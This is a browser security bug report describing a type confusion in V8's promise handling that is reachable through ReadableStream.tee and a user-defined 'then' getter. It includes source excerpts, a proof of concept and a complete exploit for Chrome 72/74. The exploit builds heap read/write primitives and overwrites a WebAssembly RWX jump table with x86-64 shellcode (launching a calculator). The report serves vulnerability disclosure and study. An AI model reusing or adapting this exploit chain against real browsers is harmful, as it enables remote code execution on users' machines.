Chrome: Type confusion in JSPromise::TriggerPromiseReactions 



VULNERABILITY DETAILS
==1. TriggerPromiseReactions==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5975
Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate,
                                                  Handle<Object> reactions,
                                                  Handle<Object> argument,
                                                  PromiseReaction::Type type) {
  DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction());

  // We need to reverse the {reactions} here, since we record them
  // on the JSPromise in the reverse order.
  {
    DisallowHeapAllocation no_gc;
    Object current = *reactions;
    Object reversed = Smi::kZero;
    while (!current->IsSmi()) {
      Object next = PromiseReaction::cast(current)->next(); // ***1***
      PromiseReaction::cast(current)->set_next(reversed);
      reversed = current;
      current = next;
    }
    reactions = handle(reversed, isolate);
  }
[...]

A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a
typecast on the |reactions| argument without prior checks[1]. Upon further
inspection, it turned out that the JSPromise class reuses a single field to
store both the result object and the reaction list (chained callbacks).
Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the
promise is still in the \"pending\" state, instead they rely on the default
|resolve/reject| callbacks that are exposed to user JS code and use the
|PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether
the promise has been resolved yet. So, it's enough to call, for example,
|JSPromise::Fulfill| twice on the same Promise object to trigger the type
confusion.


==2. Thenable objects and JSPromise::Resolve==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5902
MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise,
                                       Handle<Object> resolution) {
[...]
  // 8. Let then be Get(resolution, \"then\").
  MaybeHandle<Object> then;
  if (isolate->IsPromiseThenLookupChainIntact(
          Handle<JSReceiver>::cast(resolution))) {
    // We can skip the \"then\" lookup on {resolution} if its [[Prototype]]
    // is the (initial) Promise.prototype and the Promise#then protector
    // is intact, as that guards the lookup path for the \"then\" property
    // on JSPromise instances which have the (initial) %PromisePrototype%.
    then = isolate->promise_then();
  } else {
    then =
        JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution),
                                isolate->factory()->then_string()); // ***2***
[...]    

This is a known behavior, and yet it has already caused some problems in the
past (see https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10).
When the promise resolution is an object that has the |then| property, |Resolve|
synchronously accesses that property and might invoke a user-defined getter[2],
which means it's possible to run user JavaScript while the promise is in the
middle of the resolution process. However, just calling the |resolve| callback
inside the getter is not enough to trigger the type confusion because of the
|kAlreadyResolvedSlot| check. Instead, one should look for places where
|JSPromise::Resolve| is called directly.


==3. V8 extras and ReadableStream==
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=d67a775151929f516380749eae3b32f514eade11&l=425
  function ReadableStreamTee(stream) {
    const reader = AcquireReadableStreamDefaultReader(stream);

    let closedOrErrored = false;
    let canceled1 = false;
    let canceled2 = false;
    let reason1;
    let reason2;
    const cancelPromise = v8.createPromise();

    function pullAlgorithm() {
      return thenPromise(
          ReadableStreamDefaultReaderRead(reader), ({value, done}) => {
            if (done && !closedOrErrored) {
              if (!canceled1) {
                ReadableStreamDefaultControllerClose(branch1controller); // ***3***
              }
              if (!canceled2) {
                ReadableStreamDefaultControllerClose(branch2controller);
              }
              closedOrErrored = true;
            }
[...]
    function cancel1Algorithm(reason) {
      canceled1 = true; // ***4***
      reason1 = reason;
      if (canceled2) {
        const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]);
        resolvePromise(cancelPromise, cancelResult);
      }
      return cancelPromise;
    }
[...]
  function ReadableStreamCancel(stream, reason) {
    stream[_readableStreamBits] |= DISTURBED;

    const state = ReadableStreamGetState(stream);
    if (state === STATE_CLOSED) {
      return Promise_resolve(undefined);
    }
    if (state === STATE_ERRORED) {
      return Promise_reject(stream[_storedError]);
    }

    ReadableStreamClose(stream);

    const sourceCancelPromise =
          ReadableStreamDefaultControllerCancel(stream[_controller], reason);
    return thenPromise(sourceCancelPromise, () => undefined);
  }

  function ReadableStreamClose(stream) {
    ReadableStreamSetState(stream, STATE_CLOSED);

    const reader = stream[_reader];
    if (reader === undefined) {
      return;
    }

    if (IsReadableStreamDefaultReader(reader) === true) {
      reader[_readRequests].forEach(
          request =>
            resolvePromise(
                request.promise,
                ReadableStreamCreateReadResult(undefined, true,
                                               request.forAuthorCode)));
      reader[_readRequests] = new binding.SimpleQueue();
    }

    resolvePromise(reader[_closedPromise], undefined);
  }

A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a
set of JavaScript classes with a couple of internal v8 methods exposed to them.
The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just
call |JSPromise::Resolve/Reject| and don't check the status of the promise
passed as an argument. Instead, the JS code around them defines a bunch of
boolean variables to track the stream's state. Unfortunately, there's a scenario
in which the state checks could be bypassed:
1. Create a new ReadableStream with an underlying source object that exposes the
stream controller's |stop| method.
2. Call the |tee| method to create a pair of child streams.
3. Make a read request for one of the child streams thus putting a new Promise
object to the |_readRequests| queue.
4. Define a getter for the |then| property on Object.prototype. From this point
every promise resolution where the resolution object inherits from
Object.prototype will call the getter.
5. Call |cancel| on the child stream. The call stack will eventually look like:
ReadableStreamCancel -> ReadableStreamClose -> resolvePromise ->
JSPromise::Resolve -> the |then| getter.
6. Inside the getter, calling regular methods on the child stream won't work
because its state is already set to \"closed\", but an attacker can call the
controller's |stop| method. Because |ReadableStreamClose| is executed before the
cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method
will be called again[3] resolving the promise that is currently in the middle
of the resolution process.

The only problem here is the code [3] gets executed as another promise's
reaction, i.e. as a microtask, and microtasks are supposed to be executed
asynchronously.


==4. MicrotasksScope==
V8 exposes the MicrotasksScope class to Blink to control microtask execution.
MicrotasksScope's destructor will run all scheduled microtasks synchronously, if
the object that's being destructed is the top-level MicrotasksScope.  Therefore,
calling a Blink method that instantiates a MicrotasksScope should allow running
the scheduled promise reaction[3] synchronously. However, usually all JS code
(<script> body, event handlers, timeouts) already runs inside a MicrotasksScope.
One way to overcome this is to define the JS code as the |handleEvent| property
getter of an EventListener object and add the listener to, e.g., the |load|
event.

Putting it all together, the PoC is as follows:
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener(\"load\", { get handleEvent() {
    func();
  } });
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__(\"then\", function() {
    if (++then_counter == 1) {
      controller.close();
      performMicrotaskCheckpoint();
    }
  });
  reader.cancel();
});
</script>
</body>


==5. Exploitation==
The bug allows an attacker to make the browser treat the object of their choice
as a PromiseReaction. If the second qword of the object contains a value that
looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a
pointer to another PromiseReaction in the reaction chain and try to reverse the
chain. This primitive is not very useful without a separate info leak bug. If
the second qword looks like a Smi, the method will overwrite the first, third
and fourth qwords with tagged pointers. So, if the attacker allocates a
HeapNumber and a FixedDobuleArray that are adjacent to each other, and the
umber's value has its LSB set to 0, the function will overwrite the array's
length with a pointer that looks like a sufficiently large Smi. The array's map
pointer will also get corrupted, but that's not important (at least, for release
builds).

-----------------------------------------------------------------
|     HeapNumber    ||              FixedDoubleArray            |
-----------------------------------------------------------------
|    Map    | Value ||    Map    |   Length   | Element 0 | ... |
-----------------------------------------------------------------

Once the attacker has the relative read/write primitive, it's easy to construct
the pointer leak and arbitrary read/write primitives by finding the offsets of a
couple other objects allocated next to the array. Finally, to execute the
shellcode the exploit overwrites the jump table of a WebAssembly function, which
is stored in a RWX memory page.

Exploit (the shellcode runs gnome-calculator on linux x64):
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener(\"load\", { get handleEvent() {
    func();
  } });
}

let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
  data_view.setUint32(0, dword, true);
  return data_view.getUint32(0, false);
}

reverseQword = qword => {
  data_view.setBigUint64(0, qword, true);
  return data_view.getBigUint64(0, false);
}

floatAsQword = float => {
  data_view.setFloat64(0, float);
  return data_view.getBigUint64(0);
}

qwordAsFloat = qword => {
  data_view.setBigUint64(0, qword);
  return data_view.getFloat64(0);
}

let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
const MARKER = 0x31337;

leakPtr = obj => {
  ptr_leak_object[0] = obj;
  return floatAsQword(oob_access_array[ptr_leak_index]);
}

getQword = address => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  return arbirary_access_array[0];
}

setQword = (address, value) => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  arbirary_access_array[0] = value;
}

getField = (object_ptr, num, tagged = true) =>
  object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));

setBytes = (address, array) => {
  for (let i = 0; i < array.length; ++i) {
    setQword(address + BigInt(i), BigInt(array[i]));
  }
}

// ------------------------- \\\\

runOutsideMicrotasksScope (() => {
  oob_access_array = Array(16).fill(1.1);
  ptr_leak_object = {};
  arbirary_access_array = new BigUint64Array(1);
  oob_access_array.length = 0;

  const heap_number_to_corrupt = qwordAsFloat(0x10101010n);
  oob_access_array[0] = 1.1;
  ptr_leak_object[0] = MARKER;
  arbirary_access_array.buffer;

  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__(\"then\", function() {
    let counter_value = ++then_counter;
    if (counter_value == 1) {
      controller.close();
      performMicrotaskCheckpoint();
      throw 0x123;
    } else if (counter_value == 2) { 
      throw heap_number_to_corrupt;
    } else if (counter_value == 4) {
      oob_access_array.length = 60;
      
      findOffsets();
      runCalc();
    }
  });
  reader.cancel();
});

findOffsets = () => {
  let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
  for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
      ++ptr_leak_index) {
    if (oob_access_array[ptr_leak_index] === markerAsFloat) {
      break;
    }
  }

  let oneAsFloat = qwordAsFloat(1n << 32n);
  for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
      ++external_ptr_index) {
    if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
        oob_access_array[external_ptr_index - 1] === 0) {
      break;
    }
  }

  if (ptr_leak_index === oob_access_array.length ||
      external_ptr_index === oob_access_array.length) {
    throw \"Couldn't find the offsets\";
  }
}

runCalc = () => {
  const wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
    0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
    0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
    0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
    0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x41, 0x00, 0x0b
  ]);
  const wasm_instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm_code));
  const wasm_func = wasm_instance.exports.a;

  const shellcode = [
    0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
    0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
    0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
    0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
    0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
    0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
    0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
    0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
    0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
  ];

  wasm_instance_ptr = leakPtr(wasm_instance);
  const jump_table = getQword(getField(wasm_instance_ptr, 32));
  setBytes(jump_table, shellcode);
  wasm_func();
}
</script>
</body>


VERSION
Google Chrome 72.0.3626.96 (Official Build) (64-bit)
Google Chrome 74.0.3702.0 (Official Build) dev (64-bit)


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: glazunov@google.com